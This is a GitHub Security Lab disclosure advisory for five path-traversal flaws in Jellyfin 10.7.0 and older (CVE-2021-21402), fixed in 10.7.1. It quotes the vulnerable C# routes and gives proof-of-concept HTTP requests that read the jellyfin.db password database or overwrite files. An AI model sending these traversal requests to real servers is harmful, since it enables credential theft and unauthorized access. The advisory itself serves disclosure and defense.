Coordinated Disclosure Timeline
- 2021-03-19: Issue reported to maintainers.
- 2021-03-22: Version 10.7.1 with fixes was released.
Summary
Jellyfin allows unauthenticated arbitrary file read.
Product
Jellyfin
Tested Version
The latest 10.7.0 and older
Details
Issue 1: Unauthenticated arbitrary file read in /Audio/itemId/hls/segmentId/stream.mp3
and /Audio/itemId/hls/segmentId/stream.aac
Both the /Audio/{Id}/hls/{segmentId}/stream.mp3
and /Audio/{Id}/hls/{segmentId}/stream.aac
routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the {segmentId}
part of the route to a relative or absolute path using the Windows path separator \
(%5C
when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with .mp3
and .aac
[2]. However, by using a trailing slash in the URL path it is possible to make Path.GetExtension(Request.Path)
return an empty extension, thus obtaining full control of the resulting file path. The itemId
doesn’t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system.
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
// TODO: Deprecate with new iOS app
var file = segmentId + Path.GetExtension(Request.Path); //[2]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}
The following request for example would download the jellyfin.db
database with passwords from the server:
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Impact
This issue may lead to unauthorized access to the system especially when Jellyfin is configured to be accessible from the Internet.
Issue 2: Unauthenticated arbitrary file read in /Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer
The /Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}
route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the {SegmentId}.{SegmentContainer}
part of the route to a relative or absolute path using the Windows path separator \
(%5C
when URL encoded). The SegmentId
and file extension from Path
are concatenated [2]. The resulting file
is used as the second parameter to Path.Combine
[3]. However, if the second parameter is an absolute path, the first parameter to Path.Combine
is ignored and the resulting path is just the absolute path file
.
A pre-requisite for the attack is that the jellyfin/transcodes
directory contains at least one .m3u8
file [4] (i.e. some user started streaming a video or it is left there since the last stream). The itemId
doesn’t matter as it is not used and PlaylistId
must be a substring of the m3u8
file [5]. It can be just m
as it is always in the *.m3u8
file name.
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
[FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId,
[FromRoute, Required] string segmentId,
[FromRoute, Required] string segmentContainer)
{
var file = segmentId + Path.GetExtension(Request.Path); //[2]
var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
file = Path.Combine(transcodeFolderPath, file); //[3]
var normalizedPlaylistId = playlistId;
var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
// Add . to start of segment container for future use.
segmentContainer = segmentContainer.Insert(0, ".");
string? playlistPath = null;
foreach (var path in filePaths)
{
var pathExtension = Path.GetExtension(path);
if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
|| string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
&& path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
{
playlistPath = path;
break;
}
}
return playlistPath == null
? NotFound("Hls segment not found.")
: GetFileResult(file, playlistPath);
}
PoC:
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
Impact
This issue may lead to unauthorized access to the system especially when Jellyfin is configured to be accessible from the Internet.
Issue 3: Authenticated arbitrary file read in /Videos/Id/hls/PlaylistId/stream.m3u8
/Videos/{Id}/hls/{PlaylistId}/stream.m3u8
allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with .m3u8
[1]. However, by using a trailing slash in the URL path it is possible to make Path.GetExtension(Request.Path)
return an empty extension, thus obtaining full control of the resulting file path. The itemId
doesn’t matter as it is not used.
[HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")]
[Authorize(Policy = Policies.DefaultAuthorization)]
//...
public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId)
{
var file = playlistId + Path.GetExtension(Request.Path); //[1]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return GetFileResult(file, file);
}
PoC:
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
Impact
This issue may lead to privilege elevation.
Issue 4: Unauthenticated arbitrary image file read in /Images/Ratings/theme/name
, /Images/MediaInfo/theme/name
and Images/General/name/type
The /Images/Ratings/{theme}/{name}
, /Images/MediaInfo/{theme}/{name}
and /Images/General/{name}/{type}
routes allow unauthenticated arbitrary image file read on Windows. It is possible to set the {theme}
[1] or {name}
[2] part of the route to a relative or absolute path using the Windows path separator \
(%5C
when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: .png
, .jpg
, .jpeg
, .tbn
, .gif
.
[HttpGet("MediaInfo/{theme}/{name}")]
[AllowAnonymous]
//...
public ActionResult GetMediaInfoImage(
[FromRoute, Required] string theme,
[FromRoute, Required] string name)
{
return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);
}
//...
private ActionResult GetImageFile(string basePath, string theme, string? name)
{
var themeFolder = Path.Combine(basePath, theme); //[1]
if (Directory.Exists(themeFolder))
{
var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3]
.FirstOrDefault(System.IO.File.Exists);
if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))
{
var contentType = MimeTypes.GetMimeType(path);
return PhysicalFile(path, contentType);
}
}
PoCs to download c:\temp\filename.jpg
:
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
Impact
This issue may lead to unauthorized access to image files especially when Jellyfin is configured to be accessible from the Internet.
Issue 5: Authenticated arbitrary file overwrite in /Videos/itemId/Subtitles
not limited to Windows
Videos/{itemId}/Subtitles
allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries.
PoC:
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}
Impact
This issue may lead to post-authenticated arbitrary remote code execution.
CVE
- CVE-2021-21402
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-050
in any communication regarding this issue.